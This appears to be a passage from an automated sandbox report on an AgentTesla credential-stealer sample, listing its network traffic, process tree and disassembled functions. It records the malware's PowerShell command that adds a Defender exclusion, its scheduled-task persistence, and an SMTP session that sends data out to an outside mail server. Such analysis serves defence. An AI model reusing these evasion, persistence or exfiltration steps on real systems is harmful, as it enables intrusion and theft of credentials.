Jul 25, 2024 23:35:28.767617941 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:28.768058062 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:28.773082972 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:28.989729881 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.050421000 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.056140900 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.211951971 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.225052118 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.230014086 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.386955023 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.437552929 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.444000959 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.599245071 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.600358963 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.605863094 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.816788912 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.819538116 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.830068111 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.981301069 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.982088089 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.982176065 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.982202053 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.982223034 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:29.987366915 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.987396955 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.987410069 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:29.987416983 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:30.144319057 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:30.365951061 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:30.366024017 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:37:03.532053947 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:37:03.538991928 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:37:03.890084028 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:37:03.890256882 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:37:03.890357971 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:37:03.890574932 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:37:03.895457029 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:37:08.235577106 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:37:08.240905046 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:37:08.598304033 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:37:08.598356962 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:37:08.598412991 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:37:08.598515034 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:37:08.603815079 CEST	587	49736	199.79.62.115	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 23:35:23.504205942 CEST	60082	53	192.168.2.4	1.1.1.1
Jul 25, 2024 23:35:23.823698997 CEST	53	60082	1.1.1.1	192.168.2.4
Jul 25, 2024 23:35:50.618299961 CEST	53	64188	162.159.36.2	192.168.2.4
Jul 25, 2024 23:35:51.108766079 CEST	58740	53	192.168.2.4	1.1.1.1
Jul 25, 2024 23:35:51.116590023 CEST	53	58740	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 23:35:23.504205942 CEST	192.168.2.4	1.1.1.1	0xae7	Standard query (0)	mail.mbarieservicesltd.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 23:35:51.108766079 CEST	192.168.2.4	1.1.1.1	0x6928	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 23:35:23.823698997 CEST	1.1.1.1	192.168.2.4	0xae7	No error (0)	mail.mbarieservicesltd.com		199.79.62.115	A (IP address)	IN (0x0001)	false
Jul 25, 2024 23:35:51.116590023 CEST	1.1.1.1	192.168.2.4	0x6928	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 25, 2024 23:35:24.793643951 CEST	587	49735	199.79.62.115	192.168.2.4	220-md-54.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 03:05:24 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 25, 2024 23:35:24.794495106 CEST	587	49735	199.79.62.115	192.168.2.4	220-md-54.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 03:05:24 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 25, 2024 23:35:24.794698000 CEST	49735	587	192.168.2.4	199.79.62.115	EHLO 226546
Jul 25, 2024 23:35:24.949985027 CEST	587	49735	199.79.62.115	192.168.2.4	250-md-54.webhostbox.net Hello 226546 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 25, 2024 23:35:24.950963974 CEST	49735	587	192.168.2.4	199.79.62.115	AUTH login c2FsZXNzQG1iYXJpZXNlcnZpY2VzbHRkLmNvbQ==
Jul 25, 2024 23:35:25.107184887 CEST	587	49735	199.79.62.115	192.168.2.4	334 UGFzc3dvcmQ6
Jul 25, 2024 23:35:25.390507936 CEST	587	49735	199.79.62.115	192.168.2.4	235 Authentication succeeded
Jul 25, 2024 23:35:25.405983925 CEST	49735	587	192.168.2.4	199.79.62.115	MAIL FROM:<saless@mbarieservicesltd.com>
Jul 25, 2024 23:35:25.560883045 CEST	587	49735	199.79.62.115	192.168.2.4	250 OK
Jul 25, 2024 23:35:25.563057899 CEST	49735	587	192.168.2.4	199.79.62.115	RCPT TO:<iinfo@mbarieservicesltd.com>
Jul 25, 2024 23:35:25.735280037 CEST	587	49735	199.79.62.115	192.168.2.4	250 Accepted
Jul 25, 2024 23:35:25.740468979 CEST	49735	587	192.168.2.4	199.79.62.115	DATA
Jul 25, 2024 23:35:25.903961897 CEST	587	49735	199.79.62.115	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 25, 2024 23:35:25.918808937 CEST	49735	587	192.168.2.4	199.79.62.115	.
Jul 25, 2024 23:35:26.176848888 CEST	587	49735	199.79.62.115	192.168.2.4	250 OK id=1sX67R-003JwV-2e
Jul 25, 2024 23:35:28.767617941 CEST	587	49736	199.79.62.115	192.168.2.4	220-md-54.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 03:05:28 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 25, 2024 23:35:28.768058062 CEST	49736	587	192.168.2.4	199.79.62.115	EHLO 226546
Jul 25, 2024 23:35:28.989729881 CEST	587	49736	199.79.62.115	192.168.2.4	250-md-54.webhostbox.net Hello 226546 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 25, 2024 23:35:29.050421000 CEST	49736	587	192.168.2.4	199.79.62.115	AUTH login c2FsZXNzQG1iYXJpZXNlcnZpY2VzbHRkLmNvbQ==
Jul 25, 2024 23:35:29.211951971 CEST	587	49736	199.79.62.115	192.168.2.4	334 UGFzc3dvcmQ6
Jul 25, 2024 23:35:29.386955023 CEST	587	49736	199.79.62.115	192.168.2.4	235 Authentication succeeded
Jul 25, 2024 23:35:29.437552929 CEST	49736	587	192.168.2.4	199.79.62.115	MAIL FROM:<saless@mbarieservicesltd.com>
Jul 25, 2024 23:35:29.599245071 CEST	587	49736	199.79.62.115	192.168.2.4	250 OK
Jul 25, 2024 23:35:29.600358963 CEST	49736	587	192.168.2.4	199.79.62.115	RCPT TO:<iinfo@mbarieservicesltd.com>
Jul 25, 2024 23:35:29.816788912 CEST	587	49736	199.79.62.115	192.168.2.4	250 Accepted
Jul 25, 2024 23:35:29.819538116 CEST	49736	587	192.168.2.4	199.79.62.115	DATA
Jul 25, 2024 23:35:29.981301069 CEST	587	49736	199.79.62.115	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 25, 2024 23:35:29.982223034 CEST	49736	587	192.168.2.4	199.79.62.115	.
Jul 25, 2024 23:35:30.144319057 CEST	587	49736	199.79.62.115	192.168.2.4	250 OK id=1sX67V-003Jyu-2t
Jul 25, 2024 23:35:30.365951061 CEST	587	49736	199.79.62.115	192.168.2.4	250 OK id=1sX67V-003Jyu-2t
Jul 25, 2024 23:37:03.532053947 CEST	49735	587	192.168.2.4	199.79.62.115	QUIT
Jul 25, 2024 23:37:03.890084028 CEST	587	49735	199.79.62.115	192.168.2.4	221 md-54.webhostbox.net closing connection
Jul 25, 2024 23:37:08.235577106 CEST	49736	587	192.168.2.4	199.79.62.115	QUIT
Jul 25, 2024 23:37:08.598304033 CEST	587	49736	199.79.62.115	192.168.2.4	221 md-54.webhostbox.net closing connection

Target ID:	0
Start time:	17:35:15
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002A_16.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Imagebase:	0xb30000
File size:	685'063 bytes
MD5 hash:	2C10CB6C2E23B7712EBF4042D669CD09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.1723431532.00000000041AF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:35:18
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Imagebase:	0xe20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:35:18
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:35:18
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"
Imagebase:	0xe20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:35:18
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:35:18
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp"
Imagebase:	0x6a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:35:19
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:35:19
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002A_16.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Imagebase:	0x2b0000
File size:	685'063 bytes
MD5 hash:	2C10CB6C2E23B7712EBF4042D669CD09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:35:19
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002A_16.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Imagebase:	0xa40000
File size:	685'063 bytes
MD5 hash:	2C10CB6C2E23B7712EBF4042D669CD09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000009.00000002.2898350883.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2901886951.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2901886951.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2901886951.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:35:20
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe
Imagebase:	0xdf0000
File size:	685'063 bytes
MD5 hash:	2C10CB6C2E23B7712EBF4042D669CD09
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1787617220.0000000004500000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:35:23
Start date:	25/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:35:26
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp"
Imagebase:	0x6a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:35:26
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:35:26
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"
Imagebase:	0x60000
File size:	685'063 bytes
MD5 hash:	2C10CB6C2E23B7712EBF4042D669CD09
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:35:26
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"
Imagebase:	0x820000
File size:	685'063 bytes
MD5 hash:	2C10CB6C2E23B7712EBF4042D669CD09
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2902484873.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2902484873.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2902484873.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	256
Total number of Limit Nodes:	9

Executed Functions

Function 05A8CF7B Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48e6110a32434844550d667a9803bd9e255ca13e04d246cea94aa12aad95757f
Instruction ID: 5ce62ebbd250417d825a4a8c47bacbfa19220270bf2d970358d563502d29e524
Opcode Fuzzy Hash: 48e6110a32434844550d667a9803bd9e255ca13e04d246cea94aa12aad95757f
Instruction Fuzzy Hash: 28D0C9B094C118DBDB10FF049460EF8F3FAA70B310F5465E1D16EA6541C270DE844F18

Function 0130D0B3 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0130D136
GetCurrentThread.KERNEL32 ref: 0130D173
GetCurrentProcess.KERNEL32 ref: 0130D1B0
GetCurrentThreadId.KERNEL32 ref: 0130D209

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f78d829c8d6f8b5246214710ba27191d91428b34f11f298300caf5edf4d36ac1
Instruction ID: 7a9cf7baba3b4876da7e5cffdf4fbe50304b1c0e3cebeb8e9c05d12adcaf437d
Opcode Fuzzy Hash: f78d829c8d6f8b5246214710ba27191d91428b34f11f298300caf5edf4d36ac1
Instruction Fuzzy Hash: 125155B0900349CFDB58CFAAD548BEEBBF1AF48314F208459D459A73A0CB749884CF65

Function 0130D0B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0130D136
GetCurrentThread.KERNEL32 ref: 0130D173
GetCurrentProcess.KERNEL32 ref: 0130D1B0
GetCurrentThreadId.KERNEL32 ref: 0130D209

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d0528adc44851d08a2ad01de30ae2c0e89f0350f4251571009b0808e4a59658b
Instruction ID: e360562e3a3818fa14785d23cf20b638fed5b55b0ccacf69b60805b4f7ade4c7
Opcode Fuzzy Hash: d0528adc44851d08a2ad01de30ae2c0e89f0350f4251571009b0808e4a59658b
Instruction Fuzzy Hash: 7A5145B0900319CFDB58DFAAD548BEEBBF1AF48314F208459E419A73A0DB749984CF65

Function 05A896CC Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05A8990E

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: adeebc67c58459e48b5a2272eb268e6500e92d0cbf0877274e673fd30c88d670
Instruction ID: 4986e7791e97143086d5f8493f951b430a6538db831ac6a8fa3430e4952d5615
Opcode Fuzzy Hash: adeebc67c58459e48b5a2272eb268e6500e92d0cbf0877274e673fd30c88d670
Instruction Fuzzy Hash: EAA17A71D00619DFDF10DFA9C841BEEBBB2BF48314F0481A9E859A7290DB749985CF92

Function 05A896D8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05A8990E

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 411b636ce1c88954b69fdddba09d4880bc030a4f65958c88c3705bfbe278c332
Instruction ID: ce266d3b1fc63fe23108fccce0dd5748f1c9493b87dab75dccc949e66b34692e
Opcode Fuzzy Hash: 411b636ce1c88954b69fdddba09d4880bc030a4f65958c88c3705bfbe278c332
Instruction Fuzzy Hash: D8917A71D002199FDF10DFA9C841BEEBBB2BF48314F0481A9E859A7250DB749985CF92

Function 0130449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 013059C9

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2c9f26929b75102d2e258d898c043b5526bd85056ad0ded272451ad58d68cd4f
Instruction ID: 31b1229c65bd524f68d1da41fbfc3bd156715e17d3cda009add4849252f9446a
Opcode Fuzzy Hash: 2c9f26929b75102d2e258d898c043b5526bd85056ad0ded272451ad58d68cd4f
Instruction Fuzzy Hash: FA41C1B1C0071DCADB25CFAAC844B9EBBF5BF49304F24846AD408AB255DBB56985CF90

Function 0130590F Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 013059C9

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c76fe8c84f89445b5bd48f2a2ec869006a6ca09dc86444e325b788ca1cd9333c
Instruction ID: 0a6bd802eff6cc2ba536adad098efd4f9803cdff010363ea0d2105325c989ffc
Opcode Fuzzy Hash: c76fe8c84f89445b5bd48f2a2ec869006a6ca09dc86444e325b788ca1cd9333c
Instruction Fuzzy Hash: 0841EFB1C00619CEEB25CFAAC8847CDBBF5BF48308F24845AD408AB251DB75598ACF90

Function 05A89448 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05A894E0

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 47ce26d2871b80651079789521969db4aba42795cdb1c3bca373f0079f68294c
Instruction ID: a4f0245872322d2bf37f953b35c08561799e7c8c0c7f92b22b8e10e560653418
Opcode Fuzzy Hash: 47ce26d2871b80651079789521969db4aba42795cdb1c3bca373f0079f68294c
Instruction Fuzzy Hash: 152128B59003599FCB10DFA9C885BEEBBF5FF48310F108429E959A7350C774A554CBA4

Function 05A89450 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05A894E0

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: aaa33af7c5e25f96a16d3ad7a17e33092a34f6f32cdb906d3eb4e54c0291ffde
Instruction ID: 0a4bbf30a51203d2fc6f7272b96a3df32cf7266f5186c67b40d18e1310780b0f
Opcode Fuzzy Hash: aaa33af7c5e25f96a16d3ad7a17e33092a34f6f32cdb906d3eb4e54c0291ffde
Instruction Fuzzy Hash: B42127B19003599FCB10DFAAC885BEEBBF5FF48320F108429E959A7250C7789954CBA4

Function 05A89538 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 05A895C0

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a5ce67c59a90b1ade780f59f1735e5594b2185d3dd605bfa25207d279ff804f5
Instruction ID: 5c2f09f7f3eec791d1a4dfc3ce8530adfe10bc8cf52670d3524a40b2042fd6d7
Opcode Fuzzy Hash: a5ce67c59a90b1ade780f59f1735e5594b2185d3dd605bfa25207d279ff804f5
Instruction Fuzzy Hash: 222128B1D003599FCB10DFAAC881AEEFBF5FF48314F10842AE959A7250C734A545CBA5

Function 0130D2FB Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

